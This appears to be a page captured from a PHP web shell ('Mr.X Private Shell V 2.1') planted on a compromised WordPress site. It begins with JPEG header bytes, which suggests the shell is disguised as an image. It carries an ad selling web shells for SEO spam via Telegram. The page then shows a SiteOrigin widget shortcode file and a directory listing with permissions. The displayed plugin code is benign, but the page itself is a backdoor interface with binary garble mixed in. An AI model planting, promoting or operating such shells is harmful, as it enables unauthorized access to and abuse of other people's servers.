����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* A simple shortcode that just renders a
*
* @param $attr
* @param string $content
*
* @return string
*/
function siteorigin_widget_shortcode( $attr, $content = '' ){
$attr = shortcode_atts( array(
'class' => false,
'id' => '',
), $attr, 'panels_widget' );
$attr[ 'class' ] = html_entity_decode( $attr[ 'class' ] );
global $wp_widget_factory;
if( ! empty( $attr[ 'class' ] ) && isset( $wp_widget_factory->widgets[ $attr[ 'class' ] ] ) ) {
$the_widget = $wp_widget_factory->widgets[ $attr[ 'class' ] ];
// Parse the value of the shortcode
preg_match( '/value="(.*?)"/', trim( $content ), $matches );
if( ! empty( $matches[1] ) ) {
$data = json_decode( html_entity_decode( $matches[1] ), true );
}
$widget_args = ! empty( $data[ 'args' ] ) ? $data[ 'args' ] : array();
$widget_instance = ! empty( $data[ 'instance' ] ) ? $data[ 'instance' ] : array();
$widget_args = wp_parse_args( array(
'before_widget' => '',
'after_widget' => '',
'before_title' => '<h3 class="widget-title">',
'after_title' => '</h3>',
), $widget_args );
ob_start();
$the_widget->widget( $widget_args, $widget_instance );
return ob_get_clean();
}
}
function siteorigin_widget_shortcode_register(){
global $shortcode_tags;
// Only load this as a fallback if Page Builder hasn't already registered it.
if( empty( $shortcode_tags[ 'siteorigin_widget' ] ) ) {
add_shortcode( 'siteorigin_widget', 'siteorigin_widget_shortcode' );
}
}
add_action( 'plugins_loaded', 'siteorigin_widget_shortcode_register', 15 );
/**
* Tell Page Builder we'll be using the custom siteorigin_widget shortcode
*
* @param $shortcode
* @param $widget
*
* @return string
*/
function siteorigin_widget_shortcode_panels_cache_shortcode( $shortcode, $widget ){
if( is_a( $widget, 'SiteOrigin_Widget' ) ) {
$shortcode = 'siteorigin_widget';
}
return $shortcode;
}
add_filter( 'siteorigin_panels_cache_shortcode', 'siteorigin_widget_shortcode_panels_cache_shortcode', 10, 2 );
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| fields | Folder | 0755 |
|
|
| lib | Folder | 0755 |
|
|
| routes | Folder | 0755 |
|
|
| widgets | Folder | 0755 |
|
|
| Parsedown.php | File | 37.02 KB | 0644 |
|
| actions.php | File | 8.68 KB | 0644 |
|
| array-utils.php | File | 569 B | 0644 |
|
| attachments.php | File | 3.11 KB | 0644 |
|
| color.php | File | 10.98 KB | 0644 |
|
| fonts.php | File | 133.7 KB | 0644 |
|
| less-functions.php | File | 878 B | 0644 |
|
| lessc.inc.php | File | 7.06 KB | 0644 |
|
| meta-box-manager.php | File | 5.38 KB | 0644 |
|
| post-selector.php | File | 4.22 KB | 0644 |
|
| shortcode.php | File | 1.96 KB | 0644 |
|
| string-utils.php | File | 879 B | 0644 |
|
| video.php | File | 3.63 KB | 0644 |
|
| widget-manager.class.php | File | 4.5 KB | 0644 |
|